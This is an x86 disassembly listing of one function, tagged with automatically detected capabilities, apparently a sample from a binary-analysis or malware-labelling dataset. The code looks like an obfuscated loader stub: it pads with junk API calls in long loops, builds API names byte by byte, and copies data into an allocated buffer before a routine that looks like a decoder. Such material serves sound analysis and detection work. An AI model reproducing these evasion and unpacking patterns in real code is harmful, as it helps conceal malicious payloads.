Function at 0x411100
Capabilities:
Get common file path
Get uefi variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x43ec88
sub esp, 0x82c
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411111
push ebx
sub ecx, edx
xor ebx, ebx
push esi
cmp ecx, 0x6817c
jne 0x4111ac
mov eax, dword [0x43ec7c]
cmp eax, 0xcac
jne 0x41115d
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
lea eax, [ebp - 0x42c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov eax, dword [0x43ec7c]
cmp eax, 0x95b
jne 0x411170
lea eax, [ebp - 4]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push ecx
push ecx
xorps xmm0, xmm0
movsd qword [esp], xmm0
call fcn.00403040
xorps xmm0, xmm0
fstp st(0)
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.00402ce0
fstp st(0)
push ebx
call fcn.004013f4
pop ecx
xorps xmm0, xmm0
movsd qword [esp], xmm0
call fcn.00402e10
fstp st(0)
add esp, 8
mov eax, dword [0x43ec7c]
mov esi, ebx
cmp eax, 0x98a
jne 0x4111d9
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x82c]
push eax
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
push ebx
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AddAccessDeniedAce]
push ebx
call dword [sym.imp.USER32.dll_IsWinEventHookInstalled]
mov eax, dword [0x43ec7c]
cmp eax, 0x83c
jne 0x411204
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
push dword [ebp - 4]
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov eax, dword [0x43ec7c]
cmp esi, 0x1d6881
jle 0x411227
cmp dword [ebp - 0xc], 0x7758df14
je 0x411227
cmp dword [ebp - 4], 0x8a5fd66
je 0x411227
cmp dword [ebp - 8], 0x6b524f2
jne 0x411230
inc esi
cmp esi, 0x240d25a
jl 0x4111b3
mov esi, ebx
cmp esi, 0x202ef
cmove eax, dword [0x41c780]
mov dword [0x43ec7c], eax
cmp eax, 0x2e2
jne 0x411269
push ebx
lea eax, [ebp - 0x42c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov eax, dword [0x43ec7c]
inc esi
cmp esi, 0x2cb25f
jl 0x411232
add eax, 0x620e5
push 0x41a768
mov dword [0x43ec7c], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x459d9c], eax
mov esi, ebx
mov dword [0x45b5d0], 0x61636f4c
mov dword [0x45b5d5], 0x6f6c6c41
mov byte [0x45b5d4], 0x6c
mov word [0x45b5d9], 0x63
cmp esi, 0x50ff8
jne 0x4112cc
push dword [0x43ec7c]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x455f0c], eax
inc esi
cmp esi, 0x1ce062
jl 0x4112b2
mov edx, dword [0x455f04]
mov eax, ebx
cmp eax, 0x3e214
cmove edx, dword [0x41c774]
inc eax
cmp eax, 0x15a446
jl 0x4112dd
mov esi, ebx
mov dword [0x455f04], edx
cmp dword [0x43ec7c], ebx
jbe 0x411324
push ecx
call fcn.00411397
mov cl, byte [eax + esi - 0x7b]
mov eax, dword [0x455f0c]
mov byte [eax + esi], cl
inc esi
cmp esi, dword [0x43ec7c]
jae 0x411324
mov edx, dword [0x455f04]
jmp 0x411301
push edi
mov edi, 0x43ec7c
mov esi, 0x455f0c
mov edx, edi
mov ecx, esi
call fcn.00411653
mov edx, edi
mov ecx, esi
call fcn.00411653
mov esi, ebx
pop edi
cmp dword [0x43ec7c], 0xf7d
jne 0x411356
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
cmp esi, 0x3a7e8
jne 0x41136e
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x459d9c], eax
cmp dword [0x43ec7c], 0x120b
jne 0x411388
lea eax, [ebp - 0x82c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
inc esi
cmp esi, 0x21ce4e
jl 0x411344
pop esi
pop ebx
mov esp, ebp
pop ebp
ret